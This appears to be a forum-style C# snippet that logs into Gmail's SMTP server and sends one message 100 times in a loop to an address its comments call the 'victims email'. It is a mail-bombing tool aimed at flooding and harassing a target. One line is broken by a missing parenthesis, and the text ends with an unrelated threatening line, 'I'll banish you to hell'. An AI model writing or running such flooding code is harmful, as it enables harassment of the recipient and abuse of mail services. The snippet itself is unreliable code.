using System.Net.Mail;
button1.Enabled = false; //disable the button
int numsend = 0; //keeps track of the amount of mails sent
MailMessage message = new MailMessage(); //new message
message.From = new MailAddress("youremail@gmail.com"); //your email
message.To.Add(new MailAddress("victimsemail@wtfbbq.com"); //victims email
message.Subject = "The subject"; // subject
message.Body = "The content of the email"; // content
SmtpClient client = new SmtpClient(); // create a new smtp client
client.Host = "smtp.gmail.com"; // gmail smtp server
client.Port = 587; //gmail smtp port
client.EnableSsl = true; //gmail smtp requires Ssl to be enabled
client.UseDefaultCredentials = false; // do not use the default credentials
client.Credentials = new System.Net.NetworkCredential("youremail@gmail.com", "yourpassword"); // the credentials it should use to log in
while (numsend < 100) //while it hasnt sent 100 mails
{
client.Send(message); //send the mail
numsend++; //increase the number of sent emails
}
button1.Enabled=true; //re-enable the button


I'll banish you to hell from this moment on...